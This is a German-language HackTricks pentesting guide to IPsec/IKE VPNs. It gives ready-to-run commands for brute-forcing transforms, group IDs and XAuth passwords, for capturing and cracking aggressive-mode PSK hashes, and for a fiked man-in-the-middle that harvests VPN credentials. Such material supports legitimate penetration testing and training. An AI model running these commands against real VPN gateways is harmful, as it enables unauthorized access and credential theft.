hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md
2024-02-10 15:36:32 +00:00

21 KiB

500/udp - Pentesting IPsec/IKE VPN

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Finden Sie die wichtigsten Sicherheitslücken, damit Sie sie schneller beheben können. Intruder verfolgt Ihre Angriffsfläche, führt proaktive Bedrohungsscans durch und findet Probleme in Ihrer gesamten Technologie-Stack, von APIs über Webanwendungen bis hin zu Cloud-Systemen. Probieren Sie es noch heute kostenlos aus.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


Grundlegende Informationen

IPsec wird weithin als die Haupttechnologie zur Sicherung der Kommunikation zwischen Netzwerken (LAN-to-LAN) und von entfernten Benutzern zum Netzwerkgateway (Remote Access) anerkannt und bildet das Rückgrat für Unternehmens-VPN-Lösungen.

Die Einrichtung einer Sicherheitsvereinbarung (SA) zwischen zwei Punkten wird von IKE verwaltet, das unter dem Dach von ISAKMP arbeitet, einem Protokoll, das für die Authentifizierung und den Schlüsselaustausch entwickelt wurde. Dieser Prozess erfolgt in mehreren Phasen:

  • Phase 1: Es wird ein sicherer Kanal zwischen zwei Endpunkten erstellt. Dies wird durch die Verwendung eines Pre-Shared Key (PSK) oder Zertifikaten erreicht, wobei entweder der Hauptmodus, der drei Paare von Nachrichten umfasst, oder der aggressive Modus verwendet wird.
  • Phase 1.5: Obwohl nicht obligatorisch, überprüft diese Phase, die als erweiterte Authentifizierungsphase bekannt ist, die Identität des Benutzers, der versucht, eine Verbindung herzustellen, indem ein Benutzername und ein Passwort erforderlich sind.
  • Phase 2: Diese Phase dient der Verhandlung der Parameter zur Sicherung von Daten mit ESP und AH. Sie ermöglicht die Verwendung von Algorithmen, die sich von denen in Phase 1 unterscheiden, um Perfect Forward Secrecy (PFS) zu gewährleisten und die Sicherheit zu verbessern.

Standardport: 500/udp

Entdecken Sie den Dienst mit nmap

root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)

Suche nach einer gültigen Transformation

Die IPSec-Konfiguration kann nur so vorbereitet werden, dass sie eine oder mehrere Transformationen akzeptiert. Eine Transformation ist eine Kombination von Werten. Jede Transformation enthält eine Reihe von Attributen wie DES oder 3DES als Verschlüsselungsalgorithmus, SHA oder MD5 als Integritätsalgorithmus, einen vorab freigegebenen Schlüssel als Authentifizierungstyp, Diffie-Hellman 1 oder 2 als Schlüssel-Verteilungsalgorithmus und 28800 Sekunden als Lebensdauer.

Daher ist das erste, was Sie tun müssen, das Finden einer gültigen Transformation, damit der Server mit Ihnen kommuniziert. Hierfür können Sie das Tool ike-scan verwenden. Standardmäßig arbeitet Ike-scan im Hauptmodus und sendet ein Paket an das Gateway mit einem ISAKMP-Header und einem einzelnen Vorschlag mit acht Transformationen darin.

Je nach Antwort können Sie einige Informationen über den Endpunkt erhalten:

root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify

Wie Sie in der vorherigen Antwort sehen können, gibt es ein Feld namens AUTH mit dem Wert PSK. Dies bedeutet, dass das VPN mit einem vorab gemeinsam genutzten Schlüssel konfiguriert ist (und das ist wirklich gut für einen Pentester).
Der Wert der letzten Zeile ist ebenfalls sehr wichtig:

  • 0 zurückgegebener Handshake; 0 zurückgegebene Benachrichtigung: Dies bedeutet, dass das Ziel kein IPsec-Gateway ist.
  • 1 zurückgegebener Handshake; 0 zurückgegebene Benachrichtigung: Dies bedeutet, dass das Ziel für IPsec konfiguriert ist und bereit ist, eine IKE-Verhandlung durchzuführen, und dass eine oder mehrere der von Ihnen vorgeschlagenen Transformationen akzeptabel sind (eine gültige Transformation wird in der Ausgabe angezeigt).
  • 0 zurückgegebener Handshake; 1 zurückgegebene Benachrichtigung: VPN-Gateways antworten mit einer Benachrichtigung, wenn keine der Transformationen akzeptabel ist (obwohl einige Gateways dies nicht tun, in diesem Fall sollten weitere Analysen und ein überarbeiteter Vorschlag versucht werden).

In diesem Fall haben wir bereits eine gültige Transformation, aber wenn Sie sich im 3. Fall befinden, müssen Sie ein wenig Brute-Force anwenden, um eine gültige Transformation zu finden:

Zunächst müssen Sie alle möglichen Transformationen erstellen:

for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done

Und dann brute-force jeden einzelnen mit ike-scan (dies kann mehrere Minuten dauern):

while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt

Wenn das Brute-Force-Verfahren nicht funktioniert hat, antwortet der Server möglicherweise auch ohne Handshakes auf gültige Transforms. In diesem Fall könnten Sie dasselbe Brute-Force-Verfahren im aggressiven Modus ausprobieren:

while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt

Hoffentlich wird eine gültige Transformation zurückgegeben.
Sie können den gleichen Angriff mit iker.py versuchen.
Sie könnten auch versuchen, Transformationen mit ikeforce per Brute-Force zu erzwingen:

./ikeforce.py <IP> # No parameters are required for scan -h for additional help

In DH-Gruppe: 14 = 2048-Bit MODP und 15 = 3072-Bit
2 = HMAC-SHA = SHA1 (in diesem Fall). Das --trans-Format ist $Enc,$Hash,$Auth,$DH

Cisco empfiehlt, die Verwendung von DH-Gruppen 1 und 2 zu vermeiden, da sie nicht stark genug sind. Experten glauben, dass Länder mit vielen Ressourcen die Verschlüsselung von Daten, die diese schwachen Gruppen verwenden, leicht brechen können. Dies geschieht durch Verwendung einer speziellen Methode, die sie darauf vorbereitet, die Codes schnell zu knacken. Obwohl es viel Geld kostet, diese Methode einzurichten, ermöglicht es diesen mächtigen Ländern, die verschlüsselten Daten in Echtzeit zu lesen, wenn sie eine Gruppe verwenden, die nicht stark ist (wie 1.024-Bit oder kleiner).

Server-Fingerprinting

Anschließend können Sie ike-scan verwenden, um zu versuchen, den Hersteller des Geräts zu ermitteln. Das Tool sendet einen ersten Vorschlag und stoppt die Wiedergabe. Dann analysiert es den Zeitunterschied zwischen den empfangenen Nachrichten vom Server und dem übereinstimmenden Antwortmuster, um den VPN-Gateway-Hersteller erfolgreich zu identifizieren. Darüber hinaus verwenden einige VPN-Server die optionale Vendor ID (VID)-Payload mit IKE.

Geben Sie die gültige Transformation an, falls erforderlich (mit --trans)

Wenn IKE den Hersteller ermittelt, wird er ihn ausgeben:

root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify

Dies kann auch mit dem Nmap-Skript ike-version erreicht werden.

Ermitteln der richtigen ID (Gruppenname)

Um den Hash erfassen zu können, benötigen Sie eine gültige Transformation, die den Aggressive-Modus unterstützt, sowie die richtige ID (Gruppenname). Sie werden wahrscheinlich den gültigen Gruppennamen nicht kennen und müssen ihn daher per Brute-Force ermitteln. Hierzu empfehle ich Ihnen 2 Methoden:

Brute-Force-Angriff auf die ID mit ike-scan

Versuchen Sie zunächst eine Anfrage mit einer gefälschten ID, um den Hash zu sammeln ("-P"):

ike-scan -P -M -A -n fakeID <IP>

Wenn kein Hash zurückgegeben wird, dann wird wahrscheinlich diese Methode des Brute-Forcing funktionieren. Wenn ein Hash zurückgegeben wird, bedeutet dies, dass für eine gefälschte ID ein gefälschter Hash zurückgesendet wird, daher ist diese Methode nicht zuverlässig, um die ID per Brute-Force zu ermitteln. Zum Beispiel könnte ein gefälschter Hash zurückgegeben werden (dies geschieht in modernen Versionen):

Aber wenn, wie gesagt, kein Hash zurückgegeben wird, sollten Sie versuchen, gängige Gruppennamen mit ike-scan per Brute-Force zu ermitteln.

Dieses Skript versucht mögliche IDs per Brute-Force und gibt die IDs zurück, bei denen ein gültiger Handshake zurückgegeben wird (dies wird ein gültiger Gruppenname sein).

Wenn Sie eine spezifische Transformation entdeckt haben, fügen Sie sie dem ike-scan-Befehl hinzu. Und wenn Sie mehrere Transformationen entdeckt haben, können Sie eine neue Schleife hinzufügen, um sie alle auszuprobieren (Sie sollten sie alle ausprobieren, bis eine von ihnen ordnungsgemäß funktioniert).

Sie können das Wörterbuch von ikeforce oder das von seclists mit gängigen Gruppennamen verwenden, um sie per Brute-Force zu ermitteln:

while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt

Oder verwenden Sie dieses Wörterbuch (eine Kombination der anderen 2 Wörterbücher ohne Wiederholungen):

{% file src="../.gitbook/assets/vpnIDs.txt" %}

Brute-Force-Angriff auf ID mit Iker

iker.py verwendet auch ike-scan, um mögliche Gruppennamen per Brute-Force anzugreifen. Es folgt einer eigenen Methode, um eine gültige ID basierend auf der Ausgabe von ike-scan zu finden.

Brute-Force-Angriff auf ID mit ikeforce

ikeforce.py ist ein Tool, das ebenfalls verwendet werden kann, um IDs per Brute-Force anzugreifen. Dieses Tool wird versuchen, verschiedene Schwachstellen auszunutzen, die verwendet werden könnten, um eine gültige von einer ungültigen ID zu unterscheiden (es kann falsch positive und falsch negative Ergebnisse geben, deshalb bevorzuge ich die Verwendung der ike-scan-Methode, wenn möglich).

Standardmäßig sendet ikeforce am Anfang einige zufällige IDs, um das Verhalten des Servers zu überprüfen und die Taktik zu bestimmen.

  • Die erste Methode besteht darin, die Gruppennamen per Brute-Force zu suchen, indem nach Informationen zum Dead Peer Detection DPD von Cisco-Systemen gesucht wird (diese Informationen werden nur vom Server wiederholt, wenn der Gruppenname korrekt ist).
  • Die zweite verfügbare Methode besteht darin, die Anzahl der gesendeten Antworten für jeden Versuch zu überprüfen, da manchmal mehr Pakete gesendet werden, wenn die richtige ID verwendet wird.
  • Die dritte Methode besteht darin, nach "INVALID-ID-INFORMATION" in der Antwort auf eine falsche ID zu suchen.
  • Schließlich wird, wenn der Server auf die Überprüfungen nicht antwortet, ikeforce versuchen, den Server per Brute-Force anzugreifen und zu überprüfen, ob der Server bei Verwendung der richtigen ID mit einem Paket antwortet.
    Natürlich besteht das Ziel des Brute-Force-Angriffs auf die ID darin, den PSK zu erhalten, wenn Sie eine gültige ID haben. Anschließend müssen Sie mit der ID und dem PSK das XAUTH per Brute-Force angreifen (sofern aktiviert).

Wenn Sie eine bestimmte Transformation entdeckt haben, fügen Sie sie in den ikeforce-Befehl ein. Und wenn Sie mehrere Transformationen entdeckt haben, können Sie gerne eine neue Schleife hinzufügen, um sie alle auszuprobieren (Sie sollten sie alle ausprobieren, bis eine von ihnen ordnungsgemäß funktioniert).

git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic

Sniffing ID

(Aus dem Buch Network Security Assessment: Know Your Network): Es ist auch möglich, gültige Benutzernamen zu erhalten, indem man die Verbindung zwischen dem VPN-Client und dem Server abhört, da das erste aggressive Modus-Paket, das den Client-ID enthält, im Klartext gesendet wird.

Erfassen und Knacken des Hashes

Schließlich, wenn Sie eine gültige Transformation und den Gruppennamen gefunden haben und wenn der aggressive Modus erlaubt ist, können Sie den knackbaren Hash sehr einfach abgreifen:

ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor

Der Hash wird in der Datei hash.txt gespeichert.

Sie können psk-crack, john (unter Verwendung von ikescan2john.py) und hashcat verwenden, um den Hash zu knacken:

psk-crack -d <Wordlist_path> psk.txt

XAuth

Aggressiver Modus IKE in Kombination mit einem Pre-Shared Key (PSK) wird häufig für Gruppenauthentifizierung verwendet. Diese Methode wird durch XAuth (Erweiterte Authentifizierung) ergänzt, um eine zusätzliche Ebene der Benutzerauthentifizierung einzuführen. Eine solche Authentifizierung nutzt in der Regel Dienste wie Microsoft Active Directory, RADIUS oder vergleichbare Systeme.

Bei der Umstellung auf IKEv2 wird eine bemerkenswerte Verschiebung festgestellt, bei der anstelle von XAuth zur Authentifizierung von Benutzern das EAP (Extensible Authentication Protocol) verwendet wird. Diese Änderung verdeutlicht eine Weiterentwicklung der Authentifizierungspraktiken in sicheren Kommunikationsprotokollen.

Man-in-the-Middle-Angriff im lokalen Netzwerk zur Erfassung von Anmeldedaten

Sie können die Daten der Anmeldung mit Hilfe von fiked erfassen und prüfen, ob ein Standardbenutzername vorhanden ist (Sie müssen den IKE-Verkehr zur Schnüffelei auf fiked umleiten, was mit Hilfe von ARP-Spoofing erfolgen kann, weitere Informationen). Fiked fungiert als VPN-Endpunkt und erfasst die XAuth-Anmeldedaten:

fiked -g <IP> -k testgroup:secretkey -l output.txt -d

Außerdem versuchen Sie, mit IPSec einen MitM-Angriff durchzuführen und den gesamten Datenverkehr zum Port 500 zu blockieren. Wenn der IPSec-Tunnel nicht hergestellt werden kann, wird der Datenverkehr möglicherweise unverschlüsselt gesendet.

Brute-Forcing des XAUTH-Benutzernamens und des Passworts mit ikeforce

Um das XAUTH (wenn Sie einen gültigen Gruppennamen id und den psk kennen) brute zu zwingen, können Sie einen Benutzernamen oder eine Liste von Benutzernamen und eine Liste von Passwörtern verwenden:

./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]

Auf diese Weise wird ikeforce versuchen, sich mit jeder Kombination von Benutzername:Passwort zu verbinden.

Wenn Sie eine oder mehrere gültige Transforms gefunden haben, verwenden Sie sie wie in den vorherigen Schritten.

Authentifizierung mit einem IPSEC-VPN

In Kali wird VPNC verwendet, um IPsec-Tunnel herzustellen. Die Profile müssen sich im Verzeichnis /etc/vpnc/ befinden. Sie können diese Profile mit dem Befehl vpnc initiieren.

Die folgenden Befehle und Konfigurationen veranschaulichen den Prozess der Einrichtung einer VPN-Verbindung mit VPNC:

root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0

In dieser Konfiguration:

  • Ersetzen Sie [VPN_GATEWAY_IP] durch die tatsächliche IP-Adresse des VPN-Gateways.
  • Ersetzen Sie [VPN_CONNECTION_ID] durch die Kennung für die VPN-Verbindung.
  • Ersetzen Sie [VPN_GROUP_SECRET] durch das Gruppengeheimnis des VPN.
  • Ersetzen Sie [VPN_USERNAME] und [VPN_PASSWORD] durch die Anmeldeinformationen für die VPN-Authentifizierung.
  • [PID] symbolisiert die Prozess-ID, die zugewiesen wird, wenn vpnc gestartet wird.

Stellen Sie sicher, dass beim Konfigurieren des VPN tatsächliche und sichere Werte verwendet werden.

Referenzmaterial

Shodan

  • port:500 IKE

Finden Sie die wichtigsten Sicherheitslücken, damit Sie sie schneller beheben können. Intruder verfolgt Ihre Angriffsfläche, führt proaktive Bedrohungsscans durch und findet Probleme in Ihrer gesamten Technologie-Stack, von APIs über Webanwendungen bis hin zu Cloud-Systemen. Probieren Sie es noch heute kostenlos aus.

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: